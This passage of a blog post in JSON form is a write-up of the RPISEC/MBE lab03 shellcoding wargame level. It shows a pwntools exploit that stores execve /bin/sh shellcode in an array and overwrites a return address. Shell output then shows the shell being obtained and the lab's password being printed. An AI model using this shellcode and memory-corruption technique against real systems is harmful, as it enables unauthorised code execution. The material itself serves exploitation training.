11)\r\n\r\nstore(p, 0x90909090, 13)\r\nstore(p, 0x04eb9090, 14)\r\n\r\nstore(p, 0x9050c031, 16) # xor eax, eax; push eax\r\nstore(p, 0x04eb9090, 17)\r\n\r\nstore(p, 0x732f2f68, 19) # push 0x68732f2f\r\nstore(p, 0x04eb9068, 20)\r\n\r\nstore(p, 0x69622f68, 22) # push 0x6e69622f\r\nstore(p, 0x04eb906e, 23)\r\n\r\nstore(p, 0xc189e389, 25) # mov ebx, esb; mov ecx, eax; mov edx, eax\r\nstore(p, 0x04ebc289, 26)\r\n\r\nstore(p, 0x80cd0bb0, 28) # mov al, 0xb; int 0x80\r\n\r\np.sendline(&quot;quit&quot;)\r\np.interactive()\r\n<\/pre>\n<p>The script simply runs the program (line 13) and overwrites the return address stored at index <code>109<\/code> (offset: <code>436 \/ 4 = 109<\/code>) with an address passed as argument to the script (<code>sys.argv[1]<\/code>, lines 17-18). After that the shellcode is placed in the corresponding (blue) areas. Before the actual shellcode I place an additional nop-sled. The final command <code>quit<\/code> makes the program quit and thus executing our shellcode (line 50). With the last line <code>p.interactive()<\/code> (line 51) <code>stdin<\/code> is rebound to the keyboard-input.<\/p>\n<p>As we have seen in the last levels, the stack addresses determined using <code>gdb<\/code> may vary when directly executing the program. Thus we have to try different addresses to finally hit our shellcode. This address for <code>data<\/code> we determined using <code>gdb<\/code> has been <code>0xbffff568<\/code>. Because the shellcode begins at the second element we start with the address <code>0xbffff56c<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,11]; title: ; notranslate\" title=\"\">\r\nlab3A@warzone:\/levels\/lab03$ python \/tmp\/exploit_lab3A.py 0xbffff56c\r\n&#x5B;+] Starting program '.\/lab3A': Done\r\n Completed store command successfully\r\n\r\n Completed store command successfully\r\n\r\n Completed store command successfully\r\n ...\r\n\r\n&#x5B;*] Switching to interactive mode\r\n&#x5B;*] Got EOF while reading in interactive\r\n<\/pre>\n<p><code>Got EOF while reading in interactive<\/code>: not yet.<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\r\nlab3A@warzone:\/levels\/lab03$ python \/tmp\/exploit_lab3A.py 0xbffff54c\r\n&#x5B;+] Starting program '.\/lab3A': Done\r\n Completed store command successfully\r\n\r\n Completed store command successfully\r\n\r\n Completed store command successfully\r\n ...\r\n\r\n&#x5B;*] Switching to interactive mode\r\n<\/pre>\n<p>No <code>EOF<\/code>! Looks good \ud83d\ude42<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n$ whoami\r\nlab3end\r\n$ cat \/home\/lab3end\/.pass\r\nsw00g1ty_sw4p_h0w_ab0ut_d3m_h0ps\r\n<\/pre>\n<p>Done \ud83d\ude42 The final password for this lab is <code>sw00g1ty_sw4p_h0w_ab0ut_d3m_h0ps<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The last writeup for RPISEC\/MBE lab02 dealt with the subject of Memory Corruption. We used different buffer-overflow vulnerabilities to execute a predefined function shell, which kindly spawned a shell for us. In real life there usually isn&#8217;t such a function, we can simply call. Thus we have to inject our own code. Accordingly the next &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=317\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;RPISEC\/MBE: writeup lab03 (Shellcoding)&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,10,11,12,14],"class_list":["post-317","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/317"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=317"}],"version-history":[{"count":32,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/317\/revisions"}],"predecessor-version":[{"id":356,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/317\/revisions\/356"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=317"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=317"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=317"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}